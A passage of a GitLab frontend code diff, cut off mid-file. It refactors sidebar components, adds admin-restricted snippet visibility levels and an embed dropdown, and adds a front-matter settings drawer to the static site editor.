diff --git a/app/assets/javascripts/sidebar/components/todo_toggle/todo.vue b/app/assets/javascripts/sidebar/components/todo_toggle/todo.vue
index 5281c03ab3f..51719df313f 100644
--- a/app/assets/javascripts/sidebar/components/todo_toggle/todo.vue
+++ b/app/assets/javascripts/sidebar/components/todo_toggle/todo.vue
@@ -1,10 +1,8 @@
<script>
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
import tooltip from '~/vue_shared/directives/tooltip';
-import Icon from '~/vue_shared/components/icon.vue';
-
const MARK_TEXT = __('Mark as done');
const TODO_TEXT = __('Add a To-Do');
@@ -13,7 +11,7 @@ export default {
tooltip,
},
components: {
- Icon,
+ GlIcon,
GlLoadingIcon,
},
props: {
@@ -85,7 +83,7 @@ export default {
data-boundary="viewport"
@click="handleButtonClick"
>
- <icon
+ <gl-icon
v-show="collapsedButtonIconVisible"
:class="collapsedButtonIconClasses"
:name="collapsedButtonIcon"
diff --git a/app/assets/javascripts/sidebar/event_hub.js b/app/assets/javascripts/sidebar/event_hub.js
index f35506fd5de..dd4bd9a5ab7 100644
--- a/app/assets/javascripts/sidebar/event_hub.js
+++ b/app/assets/javascripts/sidebar/event_hub.js
@@ -1,6 +1,6 @@
-import Vue from 'vue';
+import createEventHub from '~/helpers/event_hub_factory';
-const eventHub = new Vue();
+const eventHub = createEventHub();
// TODO: remove eventHub hack after code splitting refactor
window.emitSidebarEvent = (...args) => eventHub.$emit(...args);
diff --git a/app/assets/javascripts/sidebar/lib/sidebar_move_issue.js b/app/assets/javascripts/sidebar/lib/sidebar_move_issue.js
index 0fb9cf22653..edeb1bba020 100644
--- a/app/assets/javascripts/sidebar/lib/sidebar_move_issue.js
+++ b/app/assets/javascripts/sidebar/lib/sidebar_move_issue.js
@@ -1,7 +1,7 @@
import $ from 'jquery';
-import '~/gl_dropdown';
import { escape } from 'lodash';
import { __ } from '~/locale';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
function isValidProjectId(id) {
return id > 0;
@@ -27,7 +27,7 @@ class SidebarMoveIssue {
}
initDropdown() {
- this.$dropdownToggle.glDropdown({
+ initDeprecatedJQueryDropdown(this.$dropdownToggle, {
search: {
fields: ['name_with_namespace'],
},
diff --git a/app/assets/javascripts/sidebar/mount_sidebar.js b/app/assets/javascripts/sidebar/mount_sidebar.js
index 015219200db..be559b16420 100644
--- a/app/assets/javascripts/sidebar/mount_sidebar.js
+++ b/app/assets/javascripts/sidebar/mount_sidebar.js
@@ -1,21 +1,26 @@
import $ from 'jquery';
import Vue from 'vue';
import VueApollo from 'vue-apollo';
+import Vuex from 'vuex';
import SidebarTimeTracking from './components/time_tracking/sidebar_time_tracking.vue';
import SidebarAssignees from './components/assignees/sidebar_assignees.vue';
+import SidebarLabels from './components/labels/sidebar_labels.vue';
import ConfidentialIssueSidebar from './components/confidential/confidential_issue_sidebar.vue';
import SidebarMoveIssue from './lib/sidebar_move_issue';
import IssuableLockForm from './components/lock/issuable_lock_form.vue';
import sidebarParticipants from './components/participants/sidebar_participants.vue';
import sidebarSubscriptions from './components/subscriptions/sidebar_subscriptions.vue';
+import SidebarSeverity from './components/severity/sidebar_severity.vue';
import Translate from '../vue_shared/translate';
import createDefaultClient from '~/lib/graphql';
import { store } from '~/notes/stores';
-import { isInIssuePage } from '~/lib/utils/common_utils';
+import { isInIssuePage, parseBoolean } from '~/lib/utils/common_utils';
import mergeRequestStore from '~/mr_notes/stores';
+import labelsSelectModule from '~/vue_shared/components/sidebar/labels_select_vue/store';
Vue.use(Translate);
Vue.use(VueApollo);
+Vue.use(Vuex);
function getSidebarOptions() {
return JSON.parse(document.querySelector('.js-sidebar-options').innerHTML);
@@ -51,6 +56,29 @@ function mountAssigneesComponent(mediator) {
});
}
+export function mountSidebarLabels() {
+ const el = document.querySelector('.js-sidebar-labels');
+
+ if (!el) {
+ return false;
+ }
+
+ const labelsStore = new Vuex.Store(labelsSelectModule());
+
+ return new Vue({
+ el,
+ provide: {
+ ...el.dataset,
+ allowLabelCreate: parseBoolean(el.dataset.allowLabelCreate),
+ allowLabelEdit: parseBoolean(el.dataset.canEdit),
+ allowScopedLabels: parseBoolean(el.dataset.allowScopedLabels),
+ initiallySelectedLabels: JSON.parse(el.dataset.selectedLabels),
+ },
+ store: labelsStore,
+ render: createElement => createElement(SidebarLabels),
+ });
+}
+
function mountConfidentialComponent(mediator) {
const el = document.getElementById('js-confidential-entry-point');
@@ -159,6 +187,35 @@ function mountTimeTrackingComponent() {
});
}
+function mountSeverityComponent() {
+ const severityContainerEl = document.querySelector('#js-severity');
+
+ if (!severityContainerEl) {
+ return false;
+ }
+ const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(),
+ });
+
+ const { fullPath, iid, severity } = getSidebarOptions();
+
+ return new Vue({
+ el: severityContainerEl,
+ apolloProvider,
+ components: {
+ SidebarSeverity,
+ },
+ render: createElement =>
+ createElement('sidebar-severity', {
+ props: {
+ projectPath: fullPath,
+ iid: String(iid),
+ initialSeverity: severity.toUpperCase(),
+ },
+ }),
+ });
+}
+
export function mountSidebar(mediator) {
mountAssigneesComponent(mediator);
mountConfidentialComponent(mediator);
@@ -173,6 +230,8 @@ export function mountSidebar(mediator) {
).init();
mountTimeTrackingComponent();
+
+ mountSeverityComponent();
}
export { getSidebarOptions };
diff --git a/app/assets/javascripts/sidebar/queries/sidebarDetailsForHealthStatusFeatureFlag.query.graphql b/app/assets/javascripts/sidebar/queries/sidebarDetailsForHealthStatusFeatureFlag.query.graphql
deleted file mode 100644
index 2aff7da4605..00000000000
--- a/app/assets/javascripts/sidebar/queries/sidebarDetailsForHealthStatusFeatureFlag.query.graphql
+++ /dev/null
@@ -1,7 +0,0 @@
-query($fullPath: ID!, $iid: String!) {
- project(fullPath: $fullPath) {
- issue(iid: $iid) {
- iid
- }
- }
-}
diff --git a/app/assets/javascripts/sidebar/services/sidebar_service.js b/app/assets/javascripts/sidebar/services/sidebar_service.js
index 8714bea1729..a61af631661 100644
--- a/app/assets/javascripts/sidebar/services/sidebar_service.js
+++ b/app/assets/javascripts/sidebar/services/sidebar_service.js
@@ -1,5 +1,4 @@
import sidebarDetailsQuery from 'ee_else_ce/sidebar/queries/sidebarDetails.query.graphql';
-import sidebarDetailsForHealthStatusFeatureFlagQuery from 'ee_else_ce/sidebar/queries/sidebarDetailsForHealthStatusFeatureFlag.query.graphql';
import axios from '~/lib/utils/axios_utils';
import createGqClient, { fetchPolicies } from '~/lib/graphql';
@@ -27,14 +26,10 @@ export default class SidebarService {
}
get() {
- const hasHealthStatusFeatureFlag = gon.features && gon.features.saveIssuableHealthStatus;
-
return Promise.all([
axios.get(this.endpoint),
gqClient.query({
- query: hasHealthStatusFeatureFlag
- ? sidebarDetailsForHealthStatusFeatureFlagQuery
- : sidebarDetailsQuery,
+ query: sidebarDetailsQuery,
variables: {
fullPath: this.fullPath,
iid: this.iid.toString(),
diff --git a/app/assets/javascripts/snippet/snippet_edit.js b/app/assets/javascripts/snippet/snippet_edit.js
index b0d373b1a4b..3dc74922a77 100644
--- a/app/assets/javascripts/snippet/snippet_edit.js
+++ b/app/assets/javascripts/snippet/snippet_edit.js
@@ -14,6 +14,7 @@ document.addEventListener('DOMContentLoaded', () => {
milestones: false,
labels: false,
snippets: false,
+ vulnerabilities: false,
};
const projectSnippetOptions = {};
diff --git a/app/assets/javascripts/snippet/snippet_show.js b/app/assets/javascripts/snippet/snippet_show.js
index 9a463b4762b..bbddfc579c5 100644
--- a/app/assets/javascripts/snippet/snippet_show.js
+++ b/app/assets/javascripts/snippet/snippet_show.js
@@ -4,6 +4,7 @@ import ZenMode from '~/zen_mode';
import initNotes from '~/init_notes';
import snippetEmbed from '~/snippet/snippet_embed';
import { SnippetShowInit } from '~/snippets';
+import loadAwardsHandler from '~/awards_handler';
document.addEventListener('DOMContentLoaded', () => {
if (!gon.features.snippetsVue) {
@@ -16,4 +17,5 @@ document.addEventListener('DOMContentLoaded', () => {
SnippetShowInit();
initNotes();
}
+ loadAwardsHandler();
});
diff --git a/app/assets/javascripts/snippets/components/edit.vue b/app/assets/javascripts/snippets/components/edit.vue
index 0978fcc7f93..1a539aa0876 100644
--- a/app/assets/javascripts/snippets/components/edit.vue
+++ b/app/assets/javascripts/snippets/components/edit.vue
@@ -4,21 +4,23 @@ import { GlButton, GlLoadingIcon } from '@gitlab/ui';
import { deprecatedCreateFlash as Flash } from '~/flash';
import { __, sprintf } from '~/locale';
import TitleField from '~/vue_shared/components/form/title.vue';
-import { redirectTo } from '~/lib/utils/url_utility';
+import { redirectTo, joinPaths } from '~/lib/utils/url_utility';
import FormFooterActions from '~/vue_shared/components/form/form_footer_actions.vue';
+import { SNIPPET_MARK_EDIT_APP_START } from '~/performance_constants';
import UpdateSnippetMutation from '../mutations/updateSnippet.mutation.graphql';
import CreateSnippetMutation from '../mutations/createSnippet.mutation.graphql';
import { getSnippetMixin } from '../mixins/snippets';
import {
- SNIPPET_VISIBILITY_PRIVATE,
SNIPPET_CREATE_MUTATION_ERROR,
SNIPPET_UPDATE_MUTATION_ERROR,
+ SNIPPET_VISIBILITY_PRIVATE,
} from '../constants';
+import defaultVisibilityQuery from '../queries/snippet_visibility.query.graphql';
+
import SnippetBlobActionsEdit from './snippet_blob_actions_edit.vue';
import SnippetVisibilityEdit from './snippet_visibility_edit.vue';
import SnippetDescriptionEdit from './snippet_description_edit.vue';
-import { SNIPPET_MARK_EDIT_APP_START } from '~/performance_constants';
export default {
components: {
@@ -31,6 +33,15 @@ export default {
GlLoadingIcon,
},
mixins: [getSnippetMixin],
+ apollo: {
+ defaultVisibility: {
+ query: defaultVisibilityQuery,
+ manual: true,
+ result({ data: { selectedLevel } }) {
+ this.selectedLevelDefault = selectedLevel;
+ },
+ },
+ },
props: {
markdownPreviewPath: {
type: String,
@@ -56,6 +67,7 @@ export default {
isUpdating: false,
newSnippet: false,
actions: [],
+ selectedLevelDefault: SNIPPET_VISIBILITY_PRIVATE,
};
},
computed: {
@@ -88,7 +100,7 @@ export default {
},
cancelButtonHref() {
if (this.newSnippet) {
- return this.projectPath ? `/${this.projectPath}/-/snippets` : `/-/snippets`;
+ return joinPaths('/', gon.relative_url_root, this.projectPath, '-/snippets');
}
return this.snippet.webUrl;
},
@@ -98,6 +110,13 @@ export default {
descriptionFieldId() {
return `${this.isProjectSnippet ? 'project' : 'personal'}_snippet_description`;
},
+ newSnippetSchema() {
+ return {
+ title: '',
+ description: '',
+ visibilityLevel: this.selectedLevelDefault,
+ };
+ },
},
beforeCreate() {
performance.mark(SNIPPET_MARK_EDIT_APP_START);
@@ -126,7 +145,7 @@ export default {
},
onNewSnippetFetched() {
this.newSnippet = true;
- this.snippet = this.$options.newSnippetSchema;
+ this.snippet = this.newSnippetSchema;
},
onExistingSnippetFetched() {
this.newSnippet = false;
@@ -184,11 +203,6 @@ export default {
this.actions = actions;
},
},
- newSnippetSchema: {
- title: '',
- description: '',
- visibilityLevel: SNIPPET_VISIBILITY_PRIVATE,
- },
};
</script>
<template>
@@ -202,7 +216,7 @@ export default {
v-if="isLoading"
:label="__('Loading snippet')"
size="lg"
- class="loading-animation prepend-top-20 append-bottom-20"
+ class="loading-animation prepend-top-20 gl-mb-6"
/>
<template v-else>
<title-field
diff --git a/app/assets/javascripts/snippets/components/embed_dropdown.vue b/app/assets/javascripts/snippets/components/embed_dropdown.vue
new file mode 100644
index 00000000000..589754a8b19
--- /dev/null
+++ b/app/assets/javascripts/snippets/components/embed_dropdown.vue
@@ -0,0 +1,78 @@
+<script>
+import { escape as esc } from 'lodash';
+import {
+ GlButton,
+ GlDropdown,
+ GlDropdownSectionHeader,
+ GlDropdownText,
+ GlFormInputGroup,
+ GlTooltipDirective,
+} from '@gitlab/ui';
+import { __ } from '~/locale';
+
+const MSG_EMBED = __('Embed');
+const MSG_SHARE = __('Share');
+const MSG_COPY = __('Copy');
+
+export default {
+ components: {
+ GlButton,
+ GlDropdown,
+ GlDropdownSectionHeader,
+ GlDropdownText,
+ GlFormInputGroup,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ url: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ sections() {
+ return [
+ // eslint-disable-next-line no-useless-escape
+ { name: MSG_EMBED, value: `<script src="${esc(this.url)}.js"><\/script>` },
+ { name: MSG_SHARE, value: this.url },
+ ];
+ },
+ },
+ MSG_EMBED,
+ MSG_COPY,
+};
+</script>
+<template>
+ <gl-dropdown
+ right
+ :text="$options.MSG_EMBED"
+ menu-class="gl-px-1! gl-pb-5! gl-dropdown-menu-wide"
+ >
+ <template v-for="{ name, value } in sections">
+ <gl-dropdown-section-header :key="`header_${name}`" data-testid="header">{{
+ name
+ }}</gl-dropdown-section-header>
+ <gl-dropdown-text
+ :key="`input_${name}`"
+ tag="div"
+ class="gl-dropdown-text-py-0 gl-dropdown-text-block"
+ data-testid="input"
+ >
+ <gl-form-input-group :value="value" readonly select-on-click>
+ <template #append>
+ <gl-button
+ v-gl-tooltip.hover
+ :title="$options.MSG_COPY"
+ :data-clipboard-text="value"
+ icon="copy-to-clipboard"
+ data-qa-selector="copy_button"
+ :data-qa-action="name"
+ />
+ </template>
+ </gl-form-input-group>
+ </gl-dropdown-text>
+ </template>
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/snippets/components/show.vue b/app/assets/javascripts/snippets/components/show.vue
index ca41fd0a2b1..43be2cb7ed8 100644
--- a/app/assets/javascripts/snippets/components/show.vue
+++ b/app/assets/javascripts/snippets/components/show.vue
@@ -1,6 +1,6 @@
<script>
import { GlLoadingIcon } from '@gitlab/ui';
-import BlobEmbeddable from '~/blob/components/blob_embeddable.vue';
+import EmbedDropdown from './embed_dropdown.vue';
import SnippetHeader from './snippet_header.vue';
import SnippetTitle from './snippet_title.vue';
import SnippetBlob from './snippet_blob_view.vue';
@@ -13,7 +13,7 @@ import { SNIPPET_MARK_VIEW_APP_START } from '~/performance_constants';
export default {
components: {
- BlobEmbeddable,
+ EmbedDropdown,
SnippetHeader,
SnippetTitle,
GlLoadingIcon,
@@ -40,13 +40,17 @@ export default {
v-if="isLoading"
:label="__('Loading snippet')"
size="lg"
- class="loading-animation prepend-top-20 append-bottom-20"
+ class="loading-animation prepend-top-20 gl-mb-6"
/>
<template v-else>
<snippet-header :snippet="snippet" />
<snippet-title :snippet="snippet" />
<div class="gl-display-flex gl-justify-content-end gl-mb-5">
- <blob-embeddable v-if="embeddable" class="gl-flex-fill-1" :url="snippet.webUrl" />
+ <embed-dropdown
+ v-if="embeddable"
+ :url="snippet.webUrl"
+ data-qa-selector="snippet_embed_dropdown"
+ />
<clone-dropdown-button
v-if="canBeCloned"
class="gl-ml-3"
diff --git a/app/assets/javascripts/snippets/components/snippet_blob_edit.vue b/app/assets/javascripts/snippets/components/snippet_blob_edit.vue
index ff03432f942..f3f894ed649 100644
--- a/app/assets/javascripts/snippets/components/snippet_blob_edit.vue
+++ b/app/assets/javascripts/snippets/components/snippet_blob_edit.vue
@@ -53,7 +53,10 @@ export default {
const url = joinPaths(baseUrl, this.blob.rawPath);
axios
- .get(url)
+ .get(url, {
+ // This prevents axios from automatically JSON.parse response
+ transformResponse: [f => f],
+ })
.then(res => {
this.notifyAboutUpdates({ content: res.data });
})
@@ -80,7 +83,7 @@ export default {
v-if="!blob.isLoaded"
:label="__('Loading snippet')"
size="lg"
- class="loading-animation prepend-top-20 append-bottom-20"
+ class="loading-animation prepend-top-20 gl-mb-6"
/>
<blob-content-edit
v-else
diff --git a/app/assets/javascripts/snippets/components/snippet_description_view.vue b/app/assets/javascripts/snippets/components/snippet_description_view.vue
index a5107f09fc7..e462f20535b 100644
--- a/app/assets/javascripts/snippets/components/snippet_description_view.vue
+++ b/app/assets/javascripts/snippets/components/snippet_description_view.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import MarkdownFieldView from '~/vue_shared/components/markdown/field_view.vue';
export default {
diff --git a/app/assets/javascripts/snippets/components/snippet_header.vue b/app/assets/javascripts/snippets/components/snippet_header.vue
index ed087dcfaf9..0ca69f3161a 100644
--- a/app/assets/javascripts/snippets/components/snippet_header.vue
+++ b/app/assets/javascripts/snippets/components/snippet_header.vue
@@ -17,6 +17,7 @@ import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import DeleteSnippetMutation from '../mutations/deleteSnippet.mutation.graphql';
import CanCreatePersonalSnippet from '../queries/userPermissions.query.graphql';
import CanCreateProjectSnippet from '../queries/projectPermissions.query.graphql';
+import { joinPaths } from '~/lib/utils/url_utility';
export default {
components: {
@@ -96,8 +97,8 @@ export default {
condition: this.canCreateSnippet,
text: __('New snippet'),
href: this.snippet.project
- ? `${this.snippet.project.webUrl}/-/snippets/new`
- : '/-/snippets/new',
+ ? joinPaths(this.snippet.project.webUrl, '-/snippets/new')
+ : joinPaths('/', gon.relative_url_root, '/-/snippets/new'),
variant: 'success',
category: 'secondary',
cssClass: 'ml-2',
@@ -137,7 +138,7 @@ export default {
redirectToSnippets() {
window.location.pathname = this.snippet.project
? `${this.snippet.project.fullPath}/-/snippets`
- : 'dashboard/snippets';
+ : `${gon.relative_url_root}dashboard/snippets`;
},
closeDeleteModal() {
this.$refs.deleteModal.hide();
diff --git a/app/assets/javascripts/snippets/components/snippet_visibility_edit.vue b/app/assets/javascripts/snippets/components/snippet_visibility_edit.vue
index 299bb8fcfad..25ad7c214b2 100644
--- a/app/assets/javascripts/snippets/components/snippet_visibility_edit.vue
+++ b/app/assets/javascripts/snippets/components/snippet_visibility_edit.vue
@@ -1,11 +1,8 @@
<script>
import { GlIcon, GlFormGroup, GlFormRadio, GlFormRadioGroup, GlLink } from '@gitlab/ui';
-import {
- SNIPPET_VISIBILITY,
- SNIPPET_VISIBILITY_PRIVATE,
- SNIPPET_VISIBILITY_INTERNAL,
- SNIPPET_VISIBILITY_PUBLIC,
-} from '~/snippets/constants';
+import defaultVisibilityQuery from '../queries/snippet_visibility.query.graphql';
+import { defaultSnippetVisibilityLevels } from '../utils/blob';
+import { SNIPPET_LEVELS_RESTRICTED, SNIPPET_LEVELS_DISABLED } from '~/snippets/constants';
export default {
components: {
@@ -15,6 +12,16 @@ export default {
GlFormRadioGroup,
GlLink,
},
+ apollo: {
+ defaultVisibility: {
+ query: defaultVisibilityQuery,
+ manual: true,
+ result({ data: { visibilityLevels, multipleLevelsRestricted } }) {
+ this.visibilityLevels = defaultSnippetVisibilityLevels(visibilityLevels);
+ this.multipleLevelsRestricted = multipleLevelsRestricted;
+ },
+ },
+ },
props: {
helpLink: {
type: String,
@@ -28,19 +35,17 @@ export default {
},
value: {
type: String,
- required: false,
- default: SNIPPET_VISIBILITY_PRIVATE,
+ required: true,
},
},
- computed: {
- visibilityOptions() {
- return [
- SNIPPET_VISIBILITY_PRIVATE,
- SNIPPET_VISIBILITY_INTERNAL,
- SNIPPET_VISIBILITY_PUBLIC,
- ].map(key => ({ value: key, ...SNIPPET_VISIBILITY[key] }));
- },
+ data() {
+ return {
+ visibilityLevels: [],
+ multipleLevelsRestricted: false,
+ };
},
+ SNIPPET_LEVELS_DISABLED,
+ SNIPPET_LEVELS_RESTRICTED,
};
</script>
<template>
@@ -51,10 +56,10 @@ export default {
><gl-icon :size="12" name="question"
/></gl-link>
</label>
- <gl-form-group id="visibility-level-setting">
- <gl-form-radio-group v-bind="$attrs" :checked="value" stacked v-on="$listeners">
+ <gl-form-group id="visibility-level-setting" class="gl-mb-0">
+ <gl-form-radio-group :checked="value" stacked v-bind="$attrs" v-on="$listeners">
<gl-form-radio
- v-for="option in visibilityOptions"
+ v-for="option in visibilityLevels"
:key="option.value"
:value="option.value"
class="mb-3"
@@ -71,5 +76,12 @@ export default {
</gl-form-radio>
</gl-form-radio-group>
</gl-form-group>
+
+ <div class="text-muted" data-testid="restricted-levels-info">
+ <template v-if="!visibilityLevels.length">{{ $options.SNIPPET_LEVELS_DISABLED }}</template>
+ <template v-else-if="multipleLevelsRestricted">{{
+ $options.SNIPPET_LEVELS_RESTRICTED
+ }}</template>
+ </div>
</div>
</template>
diff --git a/app/assets/javascripts/snippets/constants.js b/app/assets/javascripts/snippets/constants.js
index 12b83525bf7..e75922df15f 100644
--- a/app/assets/javascripts/snippets/constants.js
+++ b/app/assets/javascripts/snippets/constants.js
@@ -33,3 +33,15 @@ export const SNIPPET_BLOB_ACTION_MOVE = 'move';
export const SNIPPET_BLOB_ACTION_DELETE = 'delete';
export const SNIPPET_MAX_BLOBS = 10;
+
+export const SNIPPET_LEVELS_MAP = {
+ 0: SNIPPET_VISIBILITY_PRIVATE,
+ 10: SNIPPET_VISIBILITY_INTERNAL,
+ 20: SNIPPET_VISIBILITY_PUBLIC,
+};
+export const SNIPPET_LEVELS_RESTRICTED = __(
+ 'Other visibility settings have been disabled by the administrator.',
+);
+export const SNIPPET_LEVELS_DISABLED = __(
+ 'Visibility settings have been disabled by the administrator.',
+);
diff --git a/app/assets/javascripts/snippets/index.js b/app/assets/javascripts/snippets/index.js
index bb5e7d6e3f0..c70ad9b95f8 100644
--- a/app/assets/javascripts/snippets/index.js
+++ b/app/assets/javascripts/snippets/index.js
@@ -5,6 +5,7 @@ import createDefaultClient from '~/lib/graphql';
import SnippetsShow from './components/show.vue';
import SnippetsEdit from './components/edit.vue';
+import { SNIPPET_LEVELS_MAP, SNIPPET_VISIBILITY_PRIVATE } from '~/snippets/constants';
Vue.use(VueApollo);
Vue.use(Translate);
@@ -18,13 +19,28 @@ function appFactory(el, Component) {
defaultClient: createDefaultClient(),
});
+ const {
+ visibilityLevels = '[]',
+ selectedLevel,
+ multipleLevelsRestricted,
+ ...restDataset
+ } = el.dataset;
+
+ apolloProvider.clients.defaultClient.cache.writeData({
+ data: {
+ visibilityLevels: JSON.parse(visibilityLevels),
+ selectedLevel: SNIPPET_LEVELS_MAP[selectedLevel] ?? SNIPPET_VISIBILITY_PRIVATE,
+ multipleLevelsRestricted: 'multipleLevelsRestricted' in el.dataset,
+ },
+ });
+
return new Vue({
el,
apolloProvider,
render(createElement) {
return createElement(Component, {
props: {
- ...el.dataset,
+ ...restDataset,
},
});
},
diff --git a/app/assets/javascripts/snippets/mixins/snippets.js b/app/assets/javascripts/snippets/mixins/snippets.js
index 3f5d64a768f..15daaa8d84a 100644
--- a/app/assets/javascripts/snippets/mixins/snippets.js
+++ b/app/assets/javascripts/snippets/mixins/snippets.js
@@ -2,7 +2,6 @@ import GetSnippetQuery from '../queries/snippet.query.graphql';
const blobsDefault = [];
-// eslint-disable-next-line import/prefer-default-export
export const getSnippetMixin = {
apollo: {
snippet: {
diff --git a/app/assets/javascripts/snippets/queries/snippet_visibility.query.graphql b/app/assets/javascripts/snippets/queries/snippet_visibility.query.graphql
new file mode 100644
index 00000000000..5bd6c131bab
--- /dev/null
+++ b/app/assets/javascripts/snippets/queries/snippet_visibility.query.graphql
@@ -0,0 +1,5 @@
+query defaultSnippetVisibility {
+ visibilityLevels @client
+ selectedLevel @client
+ multipleLevelsRestricted @client
+}
diff --git a/app/assets/javascripts/snippets/utils/blob.js b/app/assets/javascripts/snippets/utils/blob.js
index fd5ff9a3d2e..21f52671801 100644
--- a/app/assets/javascripts/snippets/utils/blob.js
+++ b/app/assets/javascripts/snippets/utils/blob.js
@@ -4,6 +4,8 @@ import {
SNIPPET_BLOB_ACTION_UPDATE,
SNIPPET_BLOB_ACTION_MOVE,
SNIPPET_BLOB_ACTION_DELETE,
+ SNIPPET_LEVELS_MAP,
+ SNIPPET_VISIBILITY,
} from '../constants';
const createLocalId = () => uniqueId('blob_local_');
@@ -64,3 +66,16 @@ export const diffAll = (blobs, origBlobs) => {
return [...deletedEntries, ...newEntries];
};
+
+export const defaultSnippetVisibilityLevels = arr => {
+ if (Array.isArray(arr)) {
+ return arr.map(l => {
+ const translatedLevel = SNIPPET_LEVELS_MAP[l];
+ return {
+ value: translatedLevel,
+ ...SNIPPET_VISIBILITY[translatedLevel],
+ };
+ });
+ }
+ return [];
+};
diff --git a/app/assets/javascripts/static_site_editor/components/edit_area.vue b/app/assets/javascripts/static_site_editor/components/edit_area.vue
index 53fbb2a330d..e602f26acdf 100644
--- a/app/assets/javascripts/static_site_editor/components/edit_area.vue
+++ b/app/assets/javascripts/static_site_editor/components/edit_area.vue
@@ -2,6 +2,7 @@
import RichContentEditor from '~/vue_shared/components/rich_content_editor/rich_content_editor.vue';
import PublishToolbar from './publish_toolbar.vue';
import EditHeader from './edit_header.vue';
+import EditDrawer from './edit_drawer.vue';
import UnsavedChangesConfirmDialog from './unsaved_changes_confirm_dialog.vue';
import parseSourceFile from '~/static_site_editor/services/parse_source_file';
import { EDITOR_TYPES } from '~/vue_shared/components/rich_content_editor/constants';
@@ -15,6 +16,7 @@ export default {
RichContentEditor,
PublishToolbar,
EditHeader,
+ EditDrawer,
UnsavedChangesConfirmDialog,
},
props: {
@@ -48,6 +50,8 @@ export default {
parsedSource: parseSourceFile(this.preProcess(true, this.content)),
editorMode: EDITOR_TYPES.wysiwyg,
isModified: false,
+ hasMatter: false,
+ isDrawerOpen: false,
};
},
imageRepository: imageRepository(),
@@ -55,10 +59,19 @@ export default {
editableContent() {
return this.parsedSource.content(this.isWysiwygMode);
},
+ editableMatter() {
+ return this.isDrawerOpen ? this.parsedSource.matter() : {};
+ },
+ hasSettings() {
+ return this.hasMatter && this.isWysiwygMode;
+ },
isWysiwygMode() {
return this.editorMode === EDITOR_TYPES.wysiwyg;
},
},
+ created() {
+ this.refreshEditHelpers();
+ },
methods: {
preProcess(isWrap, value) {
const formattedContent = formatter(value);
@@ -67,9 +80,21 @@ export default {
: templater.unwrap(formattedContent);
return templatedContent;
},
- onInputChange(newVal) {
- this.parsedSource.sync(newVal, this.isWysiwygMode);
+ refreshEditHelpers() {
this.isModified = this.parsedSource.isModified();
+ this.hasMatter = this.parsedSource.hasMatter();
+ },
+ onDrawerOpen() {
+ this.isDrawerOpen = true;
+ this.refreshEditHelpers();
+ },
+ onDrawerClose() {
+ this.isDrawerOpen = false;
+ this.refreshEditHelpers();
+ },
+ onInputChange(newVal) {
+ this.parsedSource.syncContent(newVal, this.isWysiwygMode);
+ this.refreshEditHelpers();
},
onModeChange(mode) {
this.editorMode = mode;
@@ -77,6 +102,9 @@ export default {
const preProcessedContent = this.preProcess(this.isWysiwygMode, this.editableContent);
this.$refs.editor.resetInitialValue(preProcessedContent);
},
+ onUpdateSettings(settings) {
+ this.parsedSource.syncMatter(settings);
+ },
onUploadImage({ file, imageUrl }) {
this.$options.imageRepository.add(file, imageUrl);
},
@@ -93,12 +121,19 @@ export default {
<template>
<div class="d-flex flex-grow-1 flex-column h-100">
<edit-header class="py-2" :title="title" />
+ <edit-drawer
+ v-if="hasMatter"
+ :is-open="isDrawerOpen"
+ :settings="editableMatter"
+ @close="onDrawerClose"
+ @updateSettings="onUpdateSettings"
+ />
<rich-content-editor
ref="editor"
:content="editableContent"
:initial-edit-type="editorMode"
:image-root="imageRoot"
- class="mb-9 h-100"
+ class="mb-9 pb-6 h-100"
@modeChange="onModeChange"
@input="onInputChange"
@uploadImage="onUploadImage"
@@ -106,9 +141,11 @@ export default {
<unsaved-changes-confirm-dialog :modified="isModified" />
<publish-toolbar
class="gl-fixed gl-left-0 gl-bottom-0 gl-w-full"
+ :has-settings="hasSettings"
:return-url="returnUrl"
:saveable="isModified"
:saving-changes="savingChanges"
+ @editSettings="onDrawerOpen"
@submit="onSubmit"
/>
</div>
diff --git a/app/assets/javascripts/static_site_editor/components/edit_drawer.vue b/app/assets/javascripts/static_site_editor/components/edit_drawer.vue
new file mode 100644
index 00000000000..0484d38dde0
--- /dev/null
+++ b/app/assets/javascripts/static_site_editor/components/edit_drawer.vue
@@ -0,0 +1,32 @@
+<script>
+import { GlDrawer } from '@gitlab/ui';
+import FrontMatterControls from './front_matter_controls.vue';
+
+export default {
+ components: {
+ GlDrawer,
+ FrontMatterControls,
+ },
+ props: {
+ isOpen: {
+ type: Boolean,
+ required: true,
+ },
+ settings: {
+ type: Object,
+ required: true,
+ },
+ },
+};
+</script>
+<template>
+ <gl-drawer class="gl-pt-8" :open="isOpen" @close="$emit('close')">
+ <template #header>{{ __('Page settings') }}</template>
+ <template>
+ <front-matter-controls
+ :settings="settings"
+ @updateSettings="$emit('updateSettings', $event)"
+ />
+ </template>
+ </gl-drawer>
+</template>
diff --git a/app/assets/javascripts/static_site_editor/components/front_matter_controls.vue b/app/assets/javascripts/static_site_editor/components/front_matter_controls.vue
new file mode 100644
index 00000000000..dad3907c3ff
--- /dev/null
+++ b/app/assets/javascripts/static_site_editor/components/front_matter_controls.vue
@@ -0,0 +1,57 @@
+<script>
+import { GlForm, GlFormInput, GlFormGroup } from '@gitlab/ui';
+import { humanize } from '~/lib/utils/text_utility';
+
+export default {
+ components: {
+ GlForm,
+ GlFormInput,
+ GlFormGroup,
+ },
+ props: {
+ settings: {
+ type: Object,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ editableSettings: { ...this.settings },
+ };
+ },
+ methods: {
+ getId(type, key) {
+ return `sse-front-matter-${type}-${key}`;
+ },
+ getIsSupported(val) {
+ return ['string', 'number'].includes(typeof val);
+ },
+ getLabel(str) {
+ return humanize(str);
+ },
+ onUpdate() {
+ this.$emit('updateSettings', { ...this.editableSettings });
+ },
+ },
+};
+</script>
+<template>
+ <gl-form>
+ <template v-for="(value, key) of editableSettings">
+ <gl-form-group
+ v-if="getIsSupported(value)"
+ :id="getId('form-group', key)"
+ :key="key"
+ :label="getLabel(key)"
+ :label-for="getId('control', key)"
+ >
+ <gl-form-input
+ :id="getId('control', key)"
